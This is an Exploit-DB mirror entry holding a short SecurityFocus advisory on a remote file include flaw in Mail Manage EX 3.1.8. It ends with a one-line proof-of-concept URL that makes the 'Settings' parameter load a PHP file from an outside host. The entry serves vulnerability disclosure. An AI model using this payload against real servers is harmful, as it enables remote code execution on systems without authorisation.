exploit-db-mirror/exploits/php/webapps/24168.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

7 lines
No EOL
499 B
Text

source: http://www.securityfocus.com/bid/10457/info
Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP files located on remote servers.
This issue was discovered in Mail Manage EX 3.1.8. It is possible that previous versions are affected as well.
http://www.example.com/mail/mmex.php?Settings=http://www.example.com/malicious.php